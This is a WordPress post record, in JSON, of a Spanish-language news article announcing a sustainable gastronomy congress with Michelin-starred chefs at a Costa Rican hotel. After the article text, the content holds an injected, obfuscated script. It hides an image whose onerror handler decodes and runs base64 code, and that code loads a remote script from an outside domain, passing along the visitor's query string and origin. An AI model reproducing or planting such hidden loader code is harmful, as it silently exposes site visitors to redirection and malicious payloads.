{"id":16482,"date":"2024-09-02T09:43:00","date_gmt":"2024-09-02T12:43:00","guid":{"rendered":"https:\/\/nubesmgzdigital.com.ar\/?p=16482"},"modified":"2025-08-13T15:47:43","modified_gmt":"2025-08-13T18:47:43","slug":"congreso-gastronomico-sostenible-en-costa-rica-reunira-chef-estrellas-michelin","status":"publish","type":"post","link":"https:\/\/nubesmgzdigital.com.ar\/index.php\/2024\/09\/02\/congreso-gastronomico-sostenible-en-costa-rica-reunira-chef-estrellas-michelin\/","title":{"rendered":"Congreso Gastron\u00f3mico Sostenible en Costa Rica reunir\u00e1 chef estrellas Michelin"},"content":{"rendered":"\n<h4 class=\"wp-block-heading has-white-color has-text-color has-background has-link-color wp-elements-c40157dd50546be2c75eafb296c66d99\" style=\"background-color:#025789\"><em>El pr\u00f3ximo 27 y 28 de setiembre, en el Hotel El Mangroove Autograph Collection, ubicado en el golfo de Papagayo, Guanacaste Costa Rica, se llevar\u00e1 a cabo el Congreso Gastron\u00f3mico Sostenible<\/em><\/h4>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><a href=\"https:\/\/www.termatalia.com\/\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"640\" height=\"91\" src=\"https:\/\/nubesmgzdigital.com.ar\/wp-content\/uploads\/2024\/08\/anigif-tERMATALIA2024.gif\" alt=\"\" class=\"wp-image-16446\"\/><\/a><figcaption class=\"wp-element-caption\"><sup><em>Publicidad<\/em><\/sup><\/figcaption><\/figure>\n<\/div>\n\n\n<p>El pr\u00f3ximo 27 y 28 de setiembre, en el Hotel El Mangroove Autograph Collection, ubicado en el golfo de Papagayo, Guanacaste Costa Rica, se llevar\u00e1 a cabo el Congreso Gastron\u00f3mico Sostenible<\/p>\n\n\n\n<p>La iniciativa tiene como principal objetivo compartir conocimientos entre los participantes, para as\u00ed mejorar pr\u00e1cticas de la industria gastron\u00f3mica, por medio de conferencias dirigidas por cada uno de los chefs invitados. Parte esencial de este evento es la cena ben\u00e9fica de la cual se podr\u00e1 disfrutar para la Fundaci\u00f3n Sonrisas, as\u00ed como una cena preparada por estos chefs, cada uno con un men\u00fa especial, creando una experiencia completa para todos.<\/p>\n\n\n\n<p>De acuerdo con Randy Siles, director culinario de Enjoy Hotels, algunos de los temas que se desarrollar\u00e1n en el congreso son: cocina kil\u00f3metro cero, desperdicio y maximizaci\u00f3n del producto, pesca sostenible, alimentos y el comercio justo, men\u00fas elaborados con plantas, preservaci\u00f3n y valoraci\u00f3n de productos aut\u00f3ctonos, protecci\u00f3n de ecosistemas marinos,<\/p>\n\n\n\n<p>\u201cEn la cena ben\u00e9fica se estar\u00e1 presentando un men\u00fa de cocina latinoamericana, mientras que para la de gala se realizar\u00e1 un men\u00fa a 8 tiempos\u201d, coment\u00f3 Siles.<\/p>\n\n\n\n<p>Los chefs invitados a esta segunda edici\u00f3n del Congreso vienen de distintos lugares, como Espa\u00f1a, siendo sus representantes Kisko Garc\u00eda, Benito G\u00f3mez, Israel Ramos, Rams\u00e9s Gonz\u00e1lez, de Jap\u00f3n estar\u00e1 MitsuTaka Kawata e In\u00e9s P\u00e1ez, mejor conocida como Chef Tita, de Rep\u00fablica Dominicana, quien ha participado en Top Chef.<\/p>\n\n\n\n<p>Esta actividad se enfoca en trabajar la sostenibilidad en el ambiente gastron\u00f3mico, por lo cual, se encuentra respaldado por Marca Pa\u00eds como un evento Esencial Costa Rica.<\/p>\n\n\n\n<p>Como iniciativa por parte del hotel para incentivar al p\u00fablico a vivir esta experiencia, los interesados pueden consultar por el paquete especial para dos personas. Este incluye el hospedaje de dos noches, desayuno, c\u00f3ctel, cena de gala,<br>cena ben\u00e9fica y el resort fee.<\/p>\n\n\n\n<p>Si quisieran disfrutar de las conferencias, se deben adquirir por aparte, indicando que desean este beneficio. Este paquete incluye el almuerzo del d\u00eda y dos coffee breaks.<\/p>\n<p>\u00a0<\/p>\n<script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script>","protected":false},"excerpt":{"rendered":"<p>El pr\u00f3ximo 27 y 28 de setiembre, en el Hotel El Mangroove Autograph Collection, ubicado en el golfo de Papagayo, Guanacaste Costa Rica, se llevar\u00e1 a cabo el Congreso Gastron\u00f3mico Sostenible El pr\u00f3ximo 27 y 28 de setiembre, en el Hotel El Mangroove Autograph Collection, ubicado en el golfo de Papagayo, Guanacaste Costa Rica, se [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":16484,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[132,113],"tags":[],"class_list":["post-16482","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-gourmet-eventos","category-internacional"],"post_mailing_queue_ids":[],"_links":{"self":[{"href":"https:\/\/nubesmgzdigital.com.ar\/index.php\/wp-json\/wp\/v2\/posts\/16482","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/nubesmgzdigital.com.ar\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/nubesmgzdigital.com.ar\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/nubesmgzdigital.com.ar\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/nubesmgzdigital.com.ar\/index.php\/wp-json\/wp\/v2\/comments?post=16482"}],"version-history":[{"count":4,"href":"https:\/\/nubesmgzdigital.com.ar\/index.php\/wp-json\/wp\/v2\/posts\/16482\/revisions"}],"predecessor-version":[{"id":18981,"href":"https:\/\/nubesmgzdigital.com.ar\/index.php\/wp-json\/wp\/v2\/posts\/16482\/revisions\/18981"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/nubesmgzdigital.com.ar\/index.php\/wp-json\/wp\/v2\/media\/16484"}],"wp:attachment":[{"href":"https:\/\/nubesmgzdigital.com.ar\/index.php\/wp-json\/wp\/v2\/media?parent=16482"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/nubesmgzdigital.com.ar\/index.php\/wp-json\/wp\/v2\/categories?post=16482"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/nubesmgzdigital.com.ar\/index.php\/wp-json\/wp\/v2\/tags?post=16482"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}